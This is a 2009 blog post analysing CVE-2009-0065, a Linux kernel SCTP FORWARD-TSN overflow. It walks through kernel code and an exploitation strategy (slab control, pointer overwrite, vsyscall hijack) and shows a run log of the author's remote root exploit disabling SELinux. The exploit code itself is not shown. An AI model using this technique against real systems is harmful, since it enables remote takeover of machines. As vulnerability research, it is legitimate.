Monday, April 27, 2009

When a "potential D.o.S." means a one-shot remote kernel exploit: the SCTP story

Common Vulnerabilities and Exposures
"Buffer overflow in net/sctp/sm_statefuns.c in the Stream Control Transmission Protocol (sctp) implementation in the Linux kernel before 2.6.28-git8 allows remote attackers to have an unknown impact via an FWD-TSN (aka FORWARD-TSN) chunk with a large stream ID. "

Ubuntu Security Notice USN-751-1
"The SCTP stack did not correctly validate FORWARD-TSN packets. A remote attacker could send specially crafted SCTP traffic causing a system crash, leading to a denial of service. (CVE-2009-0065)"

RedHat Security Advisory
"a buffer overflow was found in the Linux kernel Partial Reliable Stream
Control Transmission Protocol (PR-SCTP) implementation.
This could, potentially, lead to a denial of service if a Forward-TSN chunk is received
with a large stream ID. (CVE-2009-0065, Important) "

Potentially a DoS? Unknown Impact? Really? :D

I'm wondering why kernel developers (or vendors?) continue to claim that kernel memory corruption are just Denial of Service. Most of the times they _are_ exploitable.. yes, even when the vulnerability is remotely triggered, yes.. even when the corruption takes place in a freaking slub in the middle of a kernel _heap_ .. yes even when you have kernel data pages marked NX and the kernel .text read-only and yes, absolutely yes even when you start only with a 16bit displacement...

Last month one of my customer (that has a _custom_ deployed sctp application on his network ) asked me if the vulnerability may have some impact on his systems. The answer? "Yes it does", and since someone thinks that is not exploitable and someone else speculates over a possible locally privilege escalation only (with remote host sending TSN packet) i decided to write a completely remote exploit.

It is extremely reliable (nearly one-shot always), given that you know the target kernel. I tested it on Ubuntu 8.04 and Ubuntu 8.10
server boxes running with different kernels (ubuntu kernel for amd64) and on OpenSuse11.1 and a Fedora Core 10 (yes, extra-brownie points here, it works great on Selinux too). ...

I dont want to talk about the exploit, because the code should be self explanatory, but i'd like to briefly explore the vulnerability:

From an exploit writer point of view, the most critical points are: where the memory corruption occurs, when it occurs and what type of data structures are involved. The code that triggers the overflow is on sctp_ssn_skip() in the file: /net/sctp/structs.h:

void sctp_ssn_skip(struct sctp_stream *stream, __u16 id, __u16 ssn)
stream->ssn[id] = ssn+1;

Parameter "id" is not checked and later used as an index referenced by stream->ssn pointer: a 16bit value.
We can only overwrite memory _close_ the the struct involved.

Let's take a look at the sctp_stream structure and its stream pointer..
sctp_ssnmap_new() and sctp_ssnmap_init() function are in /net/sctp/ssnmap.c

Structures involved in streams mapping are:

struct sctp_stream {
__u16 *ssn;
unsigned int len;

struct sctp_ssnmap {
struct sctp_stream in;
struct sctp_stream out;
int malloced;

The code that allocates them is the following:

#define MAX_KMALLOC_SIZE 131072 //0x20000
size = sctp_ssnmap_size(in, out);
if (size <= MAX_KMALLOC_SIZE) retval = kmalloc(size, gfp);

If the size is under the MAX_KMALLOC_SIZE threshold the function dynamically allocates the sctp_ssnmap struct using as a parameter the number of in and out streams.
That's good news! Manipulating sctp handshake options we can arbitrary (if the sctp application has no application-level checks on, f.e., the number of simultaneously opened SCTP streams) decide the slab that will be used to allocate the chunk.

Immediately after that, the function calls sctp_ssnmap_init() to initialize in/out stream pointers:

static struct sctp_ssnmap *sctp_ssnmap_init(struct sctp_ssnmap *map, __u16 in, __u16 out)
memset(map, 0x00, sctp_ssnmap_size(in, out));

/* Start 'in' stream just after the map header. */
map->in.ssn = (__u16 *)&map[1]; <--- stream in init
map->in.len = in;

/* Start 'out' stream just after 'in'. */
map->out.ssn = &map->in.ssn[in]; <--- stream out init
map->out.len = out;

return map;

Again, good news. The stream pointers are self-contained. They point inside the previously allocated buffer, and more precisely the input stream is located exactly after the header. No kfree() will ever be called on these pointers: in other words they are a safe place to overwrite, and there's no need to worry about post-exploitation recovery.

The last thing that may complicate a bit the exploit is a check that the kernel makes before invoking sctp_ssn_skip():

/net/sctp/ulpqueue.c: sctp_ulpk_skip() :

if (SSN_lt(ssn, sctp_ssn_peek(in, sid))) <--- check

/* Mark that we are no longer expecting this SSN or lower. */
sctp_ssn_skip(in, sid, ssn);

with SSN_lt():

enum {
SSN_SIGN_BIT = (1<<15)>

Strictly speaking this code checks if the value we are overwriting (the old SSN content) is greater or equal to the new value: if so it doesn't process the FWD chunk. The comparison here is made using Serial Number Arithmetic (like the one used for protocol sequence number (eg. tcp seq number)) and can be fooled writing multiple chunks until it legally wraps around to a well known defined value.

Then, at this point, if we know the target running kernel, we can:

1) Control the slab/slub to be used
2) Overwrite a safe pointer close to the overflowing buffer
3) Easily control overwritten data..

.. in other words..
#./sctp_houdini -H -P 5555 -h -p 20000 -s 15000 -c 700 -t fedora64_10-2.6.25-117
[**] Monitoring Network for TSN/VTAG pairs..
[**] Start flushing slub cache...
[**] Using TSN/VTAG pairs: (TSN: 28022e8 <=> VTAG: 41fdd4fb) / (TSN: 8cafd3ae <=> VTAG: 1a99396c)...
[**] Overwriting neightboard sctp map..
[**] Disabling Selinux Enforcing Mode..
[**] Overwriting neightboard sctp map ......
[**] Overwriting vsyscall shadow map..
[**] Hijacking vsyscall shadow map..
[**] Waiting daemons executing gettimeofday().. this can take up to one minute...
[**] ....
[**] Connected!
[**] Restoring vsys: Emulate gettimeofday()...
uid=0(root) gid=0(root) groups=51(smmsp) context=system_u:system_r:sendmail_t:s0


The exploit code can be downloaded here.